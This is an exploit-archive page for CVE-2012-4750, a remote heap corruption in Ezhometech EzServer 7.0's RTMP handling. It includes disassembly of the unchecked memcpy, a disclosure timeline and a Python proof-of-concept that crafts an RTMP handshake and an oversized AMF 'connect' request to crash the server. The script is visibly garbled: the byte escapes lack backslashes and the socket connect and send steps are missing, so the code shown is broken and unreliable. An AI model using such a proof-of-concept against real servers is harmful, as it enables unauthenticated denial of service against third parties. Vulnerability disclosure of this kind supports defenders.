[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : Ezhometech EzServer 7.0 Remote Heap Corruption Vulnerability
# Published : 2012-10-16
# Author :
# Previous Title : HCView WriteAV Crash PoC
# Next Title : mcrypt <= 2.6.8 stack-based buffer overflow poc

Ezhometech EzServer 7.0 Remote Heap Corruption Vulnerability

EzServer is a software for audio and video streaming adopted by various companies worldwide. Version 7.0 is  affected by a remote heap corruption vulnerability. Version 6.x is not affected by this issue, as does not implement RTMP support.

[Affected Software]:

Lorenzo Cantoni


9.3 (AV:N/AC:M/Au:N/C:C/I:C/A:C)

A remote unauthenticated attacker can DoS the application. Remote Command Execution could be possible, however an exploit has yet to be developed.

The vulnerability is caused by the following lines of code:

.text:00474533                 cmp     [ebp-33A0], 80h
.text:0047453D                 jle     short loc_47458E
.text:0047453F                 mov     eax, [ebp-33A0h]
.text:00474545                 sub     eax, 80h
.text:0047454A                 push    eax             ; Size
.text:0047454B                 mov     ecx, [ebp-33CCh]
.text:00474551                 add     ecx, 81h
.text:00474557                 push    ecx             ; Src
.text:00474558                 mov     edx, [ebp-33CCh]
.text:0047455E                 add     edx, 80h
.text:00474564                 push    edx             ; Dst
.text:00474565                 call    _memcpy_0

The application pass to memcpy() an uncontrolled size, which is directly taken from the AMF request in the RTMP packet.After have successfully completed the RTMP handshake, an attacker can send a malformed AMF request embedded in the RTMP session, with an high value for the 'size' field (2 bytes, such as 0xFFFF) and a lower-sized 'string' (such as 'connect'). This result in a heap corruption and a crash for the application.

Support for the RTMP protocol appears disabled (but not fully removed) in version 7.1. However there is no official response from the vendor (see disclosure).

[Proof of Concept code]:

09/09/2012: Vendor contacted.
07/10/2012: No response. Sent another mail.
13/10/2012: Still no response. Disclosure.

#Ezhometech Ezserver 7.0 Remote Heap Corruption Vulnerability POC code
#Author: Lorenzo Cantoni
#CVE: CVE-2012-4750
#Link to vulnerable software: http://www.4shared.com/zip/eVs9I2Gf/ezserver70001_win.html

from socket import *
import sys
import os
import time

version = "x03"
zero_pad="x00" * 4

c1_finger= "x05xafx52x83x0bxd2x11xa5x48x88x94xccx0bx05x22x55x04x87x11xcdx19x85x10xa9xe9x43xbfx8bx83x91x98x45x5fxbdx41x07x30x05xd3x03x99x0bx88xd9xb6x36x56xd4x3cxfexc8xedx83x74x8fx4bx0fx0fxc5x12x02x16x79x4bx22xa0x54xe5xbcx58xabxd8xc4x10x96x07x08x84x39x34x53xcex50x96x94xafxbexabxe0"

c1 = os.urandom(1537 - len(version+ zero_pad+c1_finger))

c0c1 = version + zero_pad + c1 + c1_finger 

if len(sys.argv) >=2:
	server = sys.argv[1]
	server =""

s = socket(AF_INET, SOCK_STREAM)


# Handshake C0+C1 (sent by client)


# Handshake S0+S1+S2 (sent by server)
s0s1s2= s.recv(1700)
# Handshake C2
#parse the payload which has to be echoed back to the server
echo = s0s1s2[1:1537]

c2 = echo 

# connect('live')
size = 'x00x00x79'
header = 'x03x00x00x00' + size +'x14x00x00x00x00'
size_2 = 'xffxff' # TRIGGERS THE VULNERABILITY - legit size: x00x07
body_0 = 'x02' + size_2
req = 'x63x6fx6ex6ex65x63x74' # connect
body_1 = 'x00x3fxf0x00x00x00x00x00x00x03x00x03x61x70x70x02x00x04'
param = 'x6cx69x76x65' #live
body_2 = 'x00x08x66x6cx61x73x68x56x65x72x02x00x0dx4cx4ex58x20x39x2cx30x2cx31x32x34x2cx32x00x05x74x63x55x72x6cx02x00x1d'
url = 'rtmp://' + str(sys.argv[1]) + ':1935/live'
body_3 = 'x00x04x66x70x61x64x01x00x00x0cx63x61x70x61x62x69x6cx69x74x69x65x73x00x40x2ex00x00x00x00x00x00xc3x00x0bx61x75x64x69x6fx43x6fx64x65x63x73x00x40x99x9cx00x00x00x00x00x00x0bx76x69x64x65x6fx43x6fx64x65x63x73x00x40x6fx80x00x00x00x00x00x00x0dx76x69x64x65x6fx46x75x6ex63x74x69x6fx6ex00x3fxf0x00x00x00x00x00x00x00x00x09'
conn_live = header+ body_0 + req + body_1 + param + body_2 + url + body_3